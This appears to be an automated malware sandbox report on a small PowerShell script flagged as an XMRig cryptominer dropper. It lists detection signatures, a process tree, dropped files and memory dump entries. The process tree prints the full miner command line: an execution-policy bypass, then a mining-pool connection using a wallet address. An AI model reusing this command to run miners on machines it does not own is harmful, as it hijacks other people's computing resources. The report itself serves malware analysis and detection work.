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240527-w4c4xsdc7w10

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240527-w4c4xsed53

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240527-w4cs6aed4910

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240527-w4cs6aed4810

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240527-w4cs6aed4710

Analysis

  • max time kernel
    1794s
  • max time network
    1801s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/05/2024, 00:27

General

  • Target
    file01 - copia (6).ps1
  • Size 510B
  • Sample240527-ar6ptaae72
  • SHA256 d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (6).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1404
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:876
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4036,i,10373433614523925616,13586256558317053467,262144 --variations-seed-version --mojo-platform-channel-handle=4028 /prefetch:8
    1⤵
      PID:3028
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4396,i,10373433614523925616,13586256558317053467,262144 --variations-seed-version --mojo-platform-channel-handle=1040 /prefetch:8
      1⤵
        PID:1672

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            __PSScriptPolicyTest_2z45l1op.ie2.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2z45l1op.ie2.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            xmrig.exe

            • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
            • Size 9.1MB
            • SHA256 2025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda
            • MD5 SHA1 SHA512 SSDEEP

            memory/876-78-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-53-0x000001F7E9AF0000-0x000001F7E9B10000-memory.dmp

            memory/876-49-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-117-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-116-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-115-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-80-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-50-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-52-0x000001F7E9B10000-0x000001F7E9B30000-memory.dmp

            memory/876-114-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-113-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-112-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-111-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-110-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-47-0x000001F7E80D0000-0x000001F7E80F0000-memory.dmp

            memory/876-55-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-56-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-57-0x000001F7E9B10000-0x000001F7E9B30000-memory.dmp

            memory/876-58-0x000001F7E9AF0000-0x000001F7E9B10000-memory.dmp

            memory/876-59-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-60-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-61-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-62-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-63-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-64-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-65-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-66-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-67-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-68-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-69-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-70-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-71-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-72-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-73-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-74-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-75-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-76-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-77-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-109-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-84-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-48-0x000001F7E9AD0000-0x000001F7E9AF0000-memory.dmp

            memory/876-81-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-82-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-83-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-79-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-85-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-86-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-87-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-88-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-89-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-90-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-91-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-92-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-93-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-94-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-95-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-96-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-97-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-98-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-99-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-100-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-101-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-102-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-103-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-104-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-105-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-106-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-107-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/876-108-0x00007FF7D6050000-0x00007FF7D6C83000-memory.dmp

            memory/1404-54-0x00007FF939B90000-0x00007FF93A651000-memory.dmp

            memory/1404-51-0x00007FF939B93000-0x00007FF939B95000-memory.dmp

            memory/1404-16-0x00000200EB3C0000-0x00000200EB3CA000-memory.dmp

            memory/1404-15-0x00000200ED7F0000-0x00000200ED802000-memory.dmp

            memory/1404-14-0x00007FF939B90000-0x00007FF93A651000-memory.dmp

            memory/1404-12-0x00007FF939B90000-0x00007FF93A651000-memory.dmp

            memory/1404-11-0x00007FF939B90000-0x00007FF93A651000-memory.dmp

            memory/1404-1-0x00000200EB370000-0x00000200EB392000-memory.dmp

            memory/1404-0-0x00007FF939B93000-0x00007FF939B95000-memory.dmp